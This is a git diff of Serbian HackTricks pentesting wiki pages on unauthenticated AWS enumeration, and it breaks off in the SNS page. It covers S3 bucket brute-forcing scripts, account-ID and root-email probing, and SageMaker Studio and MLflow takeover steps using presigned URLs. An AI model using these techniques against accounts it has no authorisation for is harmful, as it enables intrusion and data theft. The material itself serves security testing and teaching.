../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS Za više informacija pogledajte: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} -## Javni Port +## Javni port -Moguće je omogućiti javni pristup **bazi podataka sa interneta**. Napadač će i dalje morati da **zna korisničko ime i lozinku,** IAM pristup, ili neku **eksploataciju** da bi ušao u bazu podataka. +Moguće je dati javni pristup **bazi podataka sa interneta**. Napadač će i dalje morati da **zna korisničko ime i lozinku,** IAM access, ili neki **exploit** da bi ušao u bazu podataka. -## Javni RDS Snimci +## Javni RDS Snapshots -AWS omogućava **pristup svima da preuzmu RDS snimke**. Možete lako nabrojati ove javne RDS snimke iz svog naloga: +AWS omogućava davanje **pristupa bilo kome za preuzimanje RDS snapshots**. Iz vašeg naloga možete veoma lako izlistati ove javne RDS snapshots: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public @@ -37,4 +37,4 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2] mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md deleted file mode 100644 index 747fb8e35..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Redshift Neautentifikovana Enumeracija - -{{#include ../../../banners/hacktricks-training.md}} - -### Javni URL šablon -``` -{user_provided}...redshift.amazonaws.com -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md new file mode 100644 index 000000000..60c583e8c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - Redshift Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### Javni šablon URL-a +``` +{user_provided}...redshift.amazonaws.com +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md deleted file mode 100644 index bd445ae9b..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ /dev/null @@ -1,194 +0,0 @@ -# AWS - S3 Neautentifikovana Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 Javne Kante - -Kanta se smatra **“javnom”** ako **bilo koji korisnik može da pregleda sadržaj** kante, i **“privatnom”** ako se sadržaj kante može **pregledati ili pisati samo od strane određenih korisnika**. - -Kompanije mogu imati **pogrešno konfigurisane dozvole za kante** koje daju pristup ili svemu ili svima koji su autentifikovani u AWS-u u bilo kojem nalogu (dakle, bilo kome). Imajte na umu da čak i sa takvim pogrešnim konfiguracijama neke radnje možda neće moći da se izvrše jer kante mogu imati svoje vlastite liste kontrole pristupa (ACL). - -**Saznajte više o AWS-S3 pogrešnoj konfiguraciji ovde:** [**http://flaws.cloud**](http://flaws.cloud/) **i** [**http://flaws2.cloud/**](http://flaws2.cloud) - -### Pronalaženje AWS Kanti - -Različite metode za pronalaženje kada veb stranica koristi AWS za skladištenje nekih resursa: - -#### Enumeracija & OSINT: - -- Korišćenje **wappalyzer** dodatka za pregledač -- Korišćenje burp-a (**spidering** veba) ili ručnim navigiranjem kroz stranicu, svi **resursi** **učitani** će biti sačuvani u Istoriji. -- **Proverite resurse** na domenima kao što su: - -``` -http://s3.amazonaws.com/[bucket_name]/ -http://[bucket_name].s3.amazonaws.com/ -``` - -- Proverite za **CNAMES** jer `resources.domain.com` može imati CNAME `bucket.s3.amazonaws.com` -- **[s3dns](https://github.com/olizimmermann/s3dns)** – Lagan DNS server koji pasivno identifikuje kante za skladištenje u oblaku (S3, GCP, Azure) analizom DNS saobraćaja. Otkriva CNAME-ove, prati lance razrešenja i usklađuje obrasce kanti, nudeći tiho rešenje za otkrivanje putem brute-force ili API-ja. Savršeno za recon i OSINT radne tokove. -- Proverite [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), veb sa već **otkrivenim otvorenim kantama**. -- **Ime kante** i **ime domena kante** moraju biti **ista.** -- **flaws.cloud** je u **IP** 52.92.181.107 i ako odete tamo, preusmerava vas na [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Takođe, `dig -x 52.92.181.107` daje `s3-website-us-west-2.amazonaws.com`. -- Da biste proverili da li je to kanta, možete takođe **posetiti** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). - -#### Brute-Force - -Možete pronaći kante **brute-forcing** imena povezanih sa kompanijom koju testirate: - -- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) -- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Sadrži listu sa potencijalnim imenima kanti) -- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) -- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) -- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) -- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) -- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) -- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) - -
# Generišite listu reči za kreiranje permutacija
-curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
-curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
-cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
-
-# Generišite listu reči na osnovu domena i poddomena za testiranje
-## Zapišite te domene i poddomene u subdomains.txt
-cat subdomains.txt > /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
-cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
-
-# Kreirajte permutacije na osnovu liste sa domenima i poddomenima za napad
-goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## Prethodni alat je specijalizovan za kreiranje permutacija za poddomene, filtrirajmo tu listu
-### Uklonite linije koje se završavaju sa "."
-cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Kreirajte listu bez TLD
-cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Kreirajte listu bez tačaka
-cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Kreirajte listu bez crtica
-cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
-
-## Generišite finalnu listu reči
-cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
-
-## Pozovite s3scanner
-s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
-
- -#### Pljačka S3 Kanti - -Dajući otvorene S3 kante, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) može automatski **tražiti zanimljive informacije**. - -### Pronađite Region - -Možete pronaći sve podržane regione od strane AWS-a na [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) - -#### Preko DNS-a - -Možete dobiti region kante sa **`dig`** i **`nslookup`** tako što ćete uraditi **DNS zahtev otkrivene IP adrese**: -```bash -dig flaws.cloud -;; ANSWER SECTION: -flaws.cloud. 5 IN A 52.218.192.11 - -nslookup 52.218.192.11 -Non-authoritative answer: -11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. -``` -Proverite da li rešen domen sadrži reč "website".\ -Možete pristupiti statičkom vebsajtu odlaskom na: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -ili možete pristupiti kanti posetom: `flaws.cloud.s3-us-west-2.amazonaws.com` - - - -#### Pokušavajući - -Ako pokušate da pristupite kanti, ali u **nazivu domena navedete drugu regiju** (na primer, kanta je u `bucket.s3.amazonaws.com`, ali pokušavate da pristupite `bucket.s3-website-us-west-2.amazonaws.com`, tada ćete biti **upučeni na ispravnu lokaciju**: - -![](<../../../images/image (106).png>) - -### Enumeracija kante - -Da biste testirali otvorenost kante, korisnik može jednostavno uneti URL u svoj veb pregledač. Privatna kanta će odgovoriti sa "Pristup odbijen". Javna kanta će navesti prvih 1.000 objekata koji su sačuvani. - -Otvoreno za sve: - -![](<../../../images/image (201).png>) - -Privatno: - -![](<../../../images/image (83).png>) - -Takođe možete proveriti ovo pomoću cli: -```bash -#Use --no-sign-request for check Everyones permissions -#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions -#--recursive if you want list recursivelyls -#Opcionally you can select the region if you now it -aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] -``` -Ako korpa nema ime domena, prilikom pokušaja da je enumerišete, **samo stavite ime korpe** i ne celu AWSs3 domenu. Primer: `s3://` - -### Javni URL šablon -``` -https://{user_provided}.s3.amazonaws.com -``` -### Dobijanje ID-a naloga iz javnog Bucket-a - -Moguće je odrediti AWS nalog koristeći novu **`S3:ResourceAccount`** **Ključ uslova politike**. Ovaj uslov **ograničava pristup na osnovu S3 bucket-a** u kojem se nalog nalazi (druge politike zasnovane na nalogu ograničavaju pristup na osnovu naloga u kojem se nalazi traženi princip).\ -I pošto politika može sadržati **zvezdice**, moguće je pronaći broj naloga **samo jedan broj u isto vreme**. - -Ovaj alat automatizuje proces: -```bash -# Installation -pipx install s3-account-search -pip install s3-account-search -# With a bucket -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket -# With an object -s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext -``` -Ova tehnika takođe funkcioniše sa API Gateway URL-ovima, Lambda URL-ovima, Data Exchange skupovima podataka, pa čak i za dobijanje vrednosti oznaka (ako znate ključ oznake). Možete pronaći više informacija u [**originalnom istraživanju**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove eksploatacije. - -### Potvrđivanje da je bucket deo AWS naloga - -Kao što je objašnjeno u [**ovom blog postu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, ako imate dozvole za listanje bucketa** moguće je potvrditi accountID kojem bucket pripada slanjem zahteva kao što je: -```bash -curl -X GET "[bucketname].amazonaws.com/" \ --H "x-amz-expected-bucket-owner: [correct-account-id]" - - -... -``` -Ako je greška "Pristup odbijen", to znači da je ID naloga bio pogrešan. - -### Korišćeni emailovi kao enumeracija root naloga - -Kao što je objašnjeno u [**ovom blog postu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), moguće je proveriti da li je email adresa povezana sa nekim AWS nalogom tako što se **pokušava dodeliti email dozvole** preko S3 bucket-a putem ACL-ova. Ako ovo ne izazove grešku, to znači da je email root korisnik nekog AWS naloga: -```python -s3_client.put_bucket_acl( -Bucket=bucket_name, -AccessControlPolicy={ -'Grants': [ -{ -'Grantee': { -'EmailAddress': 'some@emailtotest.com', -'Type': 'AmazonCustomerByEmail', -}, -'Permission': 'READ' -}, -], -'Owner': { -'DisplayName': 'Whatever', -'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' -} -} -) -``` -## Reference - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md new file mode 100644 index 000000000..4f18d2afb --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md @@ -0,0 +1,194 @@ +# AWS - S3 Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 javni bucketovi + +A bucket se smatra **„javan“** ako **bilo koji korisnik može da navede sadržaj** bucket-a, i **„privatan“** ako se sadržaj bucket-a može **navesti ili upisati samo od strane određenih korisnika**. + +Kompanije mogu imati **pogrešno konfigurisane permisije za buckete** koje daju pristup ili svemu ili svim korisnicima koji su autentifikovani u AWS u bilo kom nalogu (dakle svima). Imajte na umu da čak i sa takvim nepravilnim konfiguracijama neke akcije možda neće moći da se izvedu jer bucketi mogu imati sopstvene liste kontrole pristupa (ACLs). + +**Saznajte o AWS-S3 pogrešnim konfiguracijama ovde:** [**http://flaws.cloud**](http://flaws.cloud/) **i** [**http://flaws2.cloud/**](http://flaws2.cloud) + +### Pronalaženje AWS bucketa + +Različite metode za otkrivanje kada veb-stranica koristi AWS za skladištenje nekih resursa: + +#### Enumeracija & OSINT: + +- Korišćenje **wappalyzer** ekstenzije za pregledač +- Korišćenjem burp-a (**spidering** the web) ili ručnim navigiranjem kroz stranicu svi **učitani resursi** biće sačuvani u History. +- Proverite resurse na domenima kao: + +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` + +- Proverite **CNAMES** jer `resources.domain.com` može imati CNAME `bucket.s3.amazonaws.com` +- **[s3dns](https://github.com/olizimmermann/s3dns)** – Lagani DNS server koji pasivno identifikuje cloud storage buckete (S3, GCP, Azure) analizom DNS saobraćaja. Detektuje CNAMEs, prati chain-ove rezolucije i poklapa obrasce naziva bucketa, nudeći tihu alternativu brute-force ili API-based otkrivanju. Savršen za recon i OSINT tokove rada. +- Proverite [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), veb sa već **otkrivenim otvorenim bucketima**. +- **Naziv bucketa** i **domen bucketa** moraju biti **isti.** +- **flaws.cloud** se nalazi na **IP** 52.92.181.107 i ako odete tamo preusmerava vas na [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Takođe, `dig -x 52.92.181.107` daje `s3-website-us-west-2.amazonaws.com`. +- Da proverite da li je u pitanju bucket možete takođe **posetiti** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). + +#### Brute-Force + +Možete pronaći buckete brute-forcing imena povezanih sa kompanijom koju pentestirate: + +- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) +- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Sadrži listu potencijalnih imena bucketa) +- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) +- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) +- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) +- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) +- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) +- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) + +
# Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
+cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+
+ +#### Loot S3 Buckets + +Ako su S3 bucketi otvoreni, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) može automatski **potražiti zanimljive informacije**. + +### Pronalaženje regiona + +Možete pronaći sve regione koje AWS podržava na [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) + +#### Preko DNS-a + +Region bucketa možete dobiti pomoću **`dig`** i **`nslookup`** vršenjem **DNS zahteva za otkriveni IP**: +```bash +dig flaws.cloud +;; ANSWER SECTION: +flaws.cloud. 5 IN A 52.218.192.11 + +nslookup 52.218.192.11 +Non-authoritative answer: +11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. +``` +Proverite da li rešeni domen sadrži reč "website".\ +Možete pristupiti statičkom website-u odlaskom na: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +ili možete pristupiti bucket-u posetom: `flaws.cloud.s3-us-west-2.amazonaws.com` + + + +#### Pokušajem + +Ako pokušate da pristupite bucket-u, ali u **nazivu domena navedete drugu regiju** (na primer bucket je u `bucket.s3.amazonaws.com`, ali pokušate da pristupite `bucket.s3-website-us-west-2.amazonaws.com`), bićete **usmereni na tačnu lokaciju**: + +![](<../../../images/image (106).png>) + +### Enumerisanje bucket-a + +Da biste testirali otvorenost bucket-a, korisnik može jednostavno uneti URL u svoj web pregledač. Privatni bucket će odgovoriti sa "Access Denied". Javni bucket će izlistati prvih 1,000 objekata koji su skladišteni. + +Otvoreno za sve: + +![](<../../../images/image (201).png>) + +Privatno: + +![](<../../../images/image (83).png>) + +Ovo možete proveriti i pomoću cli: +```bash +#Use --no-sign-request for check Everyones permissions +#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions +#--recursive if you want list recursivelyls +#Opcionally you can select the region if you now it +aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] +``` +Ako bucket nema ime domena, pri pokušaju da ga enumerate, **stavite samo ime bucket-a** i ne ceo AWSs3 domain. Primer: `s3://` + +### Javni URL šablon +``` +https://{user_provided}.s3.amazonaws.com +``` +### Dobijanje Account ID-a iz javnog Bucket-a + +Moguće je utvrditi AWS account iskorišćavanjem novog **`S3:ResourceAccount`** **Policy Condition Key**. Ovaj uslov **ograničava pristup na osnovu S3 bucket-a** u kojem se nalaze account-i (drugi account-based policies ograničavaju na osnovu account-a u kojem se nalazi requesting principal).\ +I pošto policy može sadržati **wildcards**, moguće je pronaći broj account-a **samo po jednu cifru odjednom**. + +Ovaj alat automatizuje proces: +```bash +# Installation +pipx install s3-account-search +pip install s3-account-search +# With a bucket +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket +# With an object +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext +``` +Ova tehnika takođe radi sa API Gateway URLs, Lambda URLs, Data Exchange data sets i čak za dobijanje vrednosti tags (ako znate tag key). Više informacija možete pronaći u [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) i alatu [**conditional-love**](https://github.com/plerionhq/conditional-love/) za automatizaciju ove exploitation. + +### Potvrđivanje da bucket pripada AWS nalogu + +Kao što je objašnjeno u [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, if you have permissions to list a bucket** moguće je potvrditi accountID kojem bucket pripada slanjem zahteva kao: +```bash +curl -X GET "[bucketname].amazonaws.com/" \ +-H "x-amz-expected-bucket-owner: [correct-account-id]" + + +... +``` +Ako je greška “Access Denied”, to znači da je ID naloga pogrešan. + +### Korišćene e-mail adrese za enumeraciju root naloga + +Kako je objašnjeno u [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), moguće je proveriti da li je e-mail adresa povezana sa nekim AWS nalogom tako što ćete **pokušati dodeliti e-mail adresi dozvole** nad S3 bucket-om preko ACLs. Ako ovo ne izazove grešku, to znači da je ta e-mail adresa root korisnik nekog AWS naloga: +```python +s3_client.put_bucket_acl( +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} +) +``` +## Izvori + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md new file mode 100644 index 000000000..8425eb9ad --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -0,0 +1,107 @@ +# AWS - SageMaker Neovlašćeni pristup + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker Studio - Preuzimanje naloga putem CreatePresignedDomainUrl (Imitacija bilo kojeg UserProfile) + +### Opis +Identitet koji ima dozvolu da pozove `sagemaker:CreatePresignedDomainUrl` na ciljnom Studio `UserProfile` može da generiše login URL koji se autentifikuje direktno u SageMaker Studio kao taj profil. To pruža napadačevom pregledaču Studio sesiju koja nasleđuje dozvole profila (`ExecutionRole`) i potpuni pristup profilu koji je smešten na EFS-u (home) i aplikacijama. Nije potrebna `iam:PassRole` niti pristup console. + +### Zahtevi +- SageMaker Studio `Domain` i ciljni `UserProfile` unutar njega. +- Napadački principal treba `sagemaker:CreatePresignedDomainUrl` na ciljnom `UserProfile` (na nivou resursa) ili `*`. + +Minimalan primer policy-ja (ograničen na jedan UserProfile): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +### Koraci zloupotrebe + +1) Enumerate Studio Domain i UserProfiles koje možete ciljati +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Generišite presigned URL (važi ~5 minuta podrazumevano) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +3) Otvorite vraćeni URL u pregledaču da biste se prijavili u Studio kao ciljani korisnik. U Jupyter terminalu unutar Studio proverite efektivni identitet: +```bash +aws sts get-caller-identity +``` +Napomene: +- `--landing-uri` može biti izostavljen. Neke vrednosti (npr. `app:JupyterLab:/lab`) mogu biti odbijene u zavisnosti od varijante/verzije Studio-a; podrazumevana podešavanja obično preusmeravaju na početnu stranu Studio-a, a potom na Jupyter. +- Organizacione politike/ograničenja VPC endpointa i dalje mogu blokirati mrežni pristup; izdavanje tokena ne zahteva prijavu u konzolu ili `iam:PassRole`. + +### Uticaj +- Bočno kretanje i eskalacija privilegija preuzimanjem bilo kog Studio `UserProfile` čiji ARN je dozvoljen, nasleđujući njegov `ExecutionRole` i datotečni sistem/aplikacije. + +### Dokazi (iz kontrolisanog testa) +- Sa samo `sagemaker:CreatePresignedDomainUrl` na ciljnom `UserProfile`, uloga napadača je uspešno vratila `AuthorizedUrl` poput: +``` +https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... +``` +- Direktan HTTP zahtev vraća preusmerenje (HTTP 302) na Studio, potvrđujući da je URL važeći i aktivan do isteka. + +## SageMaker MLflow Tracking Server - ATO putem CreatePresignedMlflowTrackingServerUrl + +### Opis +Identitet sa dozvolom da pozove `sagemaker:CreatePresignedMlflowTrackingServerUrl` za ciljanu SageMaker MLflow Tracking Server može kreirati jednokratni presigned URL koji se direktno autentifikuje u managed MLflow UI za taj server. Ovo daje isti nivo pristupa koji bi legitimni korisnik imao serveru (pregled/kreiranje eksperimenata i pokretanja (runs), i preuzimanje/postavljanje artefakata u S3 skladištu artefakata servera) bez pristupa konzoli ili `iam:PassRole`. + +### Zahtevi +- SageMaker MLflow Tracking Server u nalogu/regiji i njegovo ime. +- Napadački principal mora imati `sagemaker:CreatePresignedMlflowTrackingServerUrl` na ciljnom MLflow Tracking Server resursu (ili `*`). + +Minimalan primer politike (ograničen na jedan Tracking Server): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", +"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" +} +] +} +``` +### Koraci zloupotrebe + +1) Enumerate MLflow Tracking Servers koje možete ciljati i izaberite jedno ime +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Generiši presigned MLflow UI URL (važi kratko vreme) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--expires-in-seconds 300 \ +--session-expiration-duration-in-seconds 1800 \ +--query AuthorizedUrl --output text +``` +3) Otvorite vraćeni URL u pregledaču da pristupite MLflow UI kao autentifikovani korisnik za taj Tracking Server. + +Napomene: +- Tracking Server mora biti u stanju spremnosti (npr., `Created/Active`). Ako je još uvek `Creating`, poziv će biti odbijen. +- The presigned URL is single‑use and short‑lived; generate a new one when needed. + +### Uticaj +- Direktan pristup upravljanom MLflow UI za ciljani Tracking Server, što omogućava pregled i izmenu experiments/runs i preuzimanje ili otpremanje artifacts uskladištenih u S3 artifact store konfigurisanom za server, u okviru dozvola koje nameće konfiguracija servera. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md deleted file mode 100644 index e94890399..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SNS Neautentifikovana Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Za više informacija o SNS-u pogledajte: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Otvoreno za Sve - -Kada konfigurišete SNS temu iz web konzole, moguće je naznačiti da **Svi mogu objavljivati i pretplatiti se** na temu: - -
